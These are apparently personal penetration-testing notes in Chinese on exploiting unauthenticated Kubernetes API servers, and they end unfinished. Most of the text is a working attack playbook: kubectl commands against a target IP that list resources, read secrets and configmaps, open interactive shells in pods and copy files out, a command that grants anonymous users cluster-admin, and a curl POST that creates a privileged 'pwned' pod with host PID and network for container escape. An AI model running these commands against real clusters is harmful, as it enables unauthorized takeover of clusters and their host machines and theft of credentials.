组件未授权
ApiServer未授权访问
提供了资源操作的唯一入口,并提供认证、授权、访问控制、API注册和发现等机制
K8s 的 API Server 默认服务端口为 8080 (insecure-port) 和 6443 (secure-port),8080 端口提供 HTTP 服务,没有认证授权机制,而 6443 端口提供 HTTPS 服务,支持认证 (使用令牌或客户端证书进行认证) 和授权服务。默认情况下 8080 端口不启动,而 6443 端口启动。这两个端口的开放取决于/etc/kubernetes/manifests/kube-apiserver.yaml
配置文件。
如果目标 K8s 的 8080 端口开启了,由于其没有认证授权机制,因此存在未授权访问。
如果目标 K8s 的 6443 端口开启了,如果配置错误,也可以导致存在未授权访问。
有API server未授权:
- 可控所有k8s资源
- 可获取几乎所有容器的交互式shell
- 利用一定技巧可获取所有容器母机的交互式shell
8080端口:
设置后重启systemctl restart kubectl
访问后可以得到如
6443端口:
如果配置不当,将 "system:anonymous" 用户绑定到 "cluster-admin" 用户组,则会使得 6443 端口允许匿名用户以管理员权限访问,向集群内下发指令。
正常情况下访问 6443 端口,提示 Forbidden。
执行以下命令将 "system:anonymous" 用户绑定到 "cluster-admin" 用户组
kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous
利用的话先要安装kubectl:
#查询最新版本号
proxychains curl -s https://dl.k8s.io/release/stable.txt
下载
proxychains curl -LO https://dl.k8s.io/release/v1.33.3/bin/linux/amd64/kubectl
chmod +x kubectl
mv kubectl /usr/local/bin/
利用:
命令也行,get pods啥的获取信息也可以http://1.1.1.1:8080/api/v1/namespaces/default/pods?limit=100#
直接访问api
查看集群信息
kubectl -s http://1.1.1.1:8080 cluster-info
查看node节点信息以及pod信息
kubectl -s http://1.1.1.1:8080 get nodes
kubectl -s http://1.1.1.1:8080 get pods
查看node和pod的详细信息
kubectl -s http://1.1.1.1:8080 get nodes -o wide
kubectl -s http://1.1.1.1:8080 describe pod escaper 如果命名空间不在default 可以指定-n <namespace>
进入到escaper
kubectl -s http://1.1.1.1:8080 exec -n default -it escaper -- /bin/bash
下面是扩展的命令:
kubectl get pods #查询Pod
kubectl get pods -n namespace #查询指定命名空间的Pod
kubectl get pods --all-namespaces #查询所有命名空间的Pod
kubectl describe pod pod-name #查询Pod的详细信息
kubectl get serviceaccount #查询服务账户详情
kubectl create serviceaccount account-name #创建服务账户
kubectl config view 打印出kubeconfig #配置内容
kubectl get rolebinding -n namespace #查看rbac权限设置
kubectl describe role role-name -n namespace #查看角色所绑定的规则
kubectl exec -it pod-name -c container-name -- /bin/bash #进入指定Pod的容器内部
kubectl cp pod-name:container-path local-path #从容器内复制文件到本地
kubectl get deployment #查询Deployment的信息
kubectl scale deployment deployment-name --replicas=3 #扩容/缩容Deployment的Pod数量
kubectl rollout restart deployment deployment-name #重启Deployment管理的所有Pod
kubectl apply -f file.yaml #应用YAML配置文件
kubectl -s http://<ip>:<port> cluster-info # 查看集群信息
kubectl -s http://<ip>:<port> get nodes -o wide # 获取所有节点及详细信息
kubectl -s http://<ip>:<port> get pods -A # 获取所有命名空间下的 Pods
kubectl -s http://<ip>:<port> get namespaces # 列出所有命名空间
kubectl -s http://<ip>:<port> get svc -A # 列出所有服务
kubectl -s http://<ip>:<port> get deployments -A # 查看部署信息
kubectl -s http://<ip>:<port> get daemonsets -A # 查看 DaemonSets
kubectl -s http://<ip>:<port> get statefulsets -A # 查看 StatefulSets
kubectl -s http://<ip>:<port> get configmap -A # 配置数据可能含凭证
kubectl -s http://<ip>:<port> get secrets -A # ⚠️ 尝试读取密钥(敏感)
kubectl -s http://<ip>:<port> describe node <node-name>
kubectl -s http://<ip>:<port> describe pod <pod-name> -n <namespace>
kubectl -s http://<ip>:<port> describe svc <svc-name> -n <namespace>
kubectl -s http://<ip>:<port> describe secret <secret-name> -n <namespace>
kubectl -s http://<ip>:<port> exec -n <ns> -it <pod> -- /bin/bash # 交互式Shell
kubectl -s http://<ip>:<port> exec -n <ns> <pod> -- cat /etc/passwd # 执行命令
kubectl -s http://<ip>:<port> cp <ns>/<pod>:<容器路径> <本地路径> # 拷贝容器文件
可以执行命令之后如果有什么逃逸就可以操作了
更可以直接用api创建一个特权容器,然后挂载逃逸
创建一个名为 pwned
的 Pod,使用 alpine
镜像,开启特权权限:
{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"name": "pwned",
"namespace": "default"
},
"spec": {
"containers": [
{
"name": "pwned",
"image": "alpine",
"command": ["sleep", "3600"],
"securityContext": {
"privileged": true
}
}
],
"hostNetwork": true,
"hostPID": true,
"restartPolicy": "Never"
}
}
发送
curl -X POST http://1.1.1.1:8080/api/v1/namespaces/default/pods \
-H "Content-Type: application/json" \
-d @pwned.json
还是用exec执行命令好一些,他好像是ws不太好弄
kubectl -s http://1.1.1.1:8080 exec -n default -it pwned -- /bin/sh
先到这后面慢慢补吧。。。。。。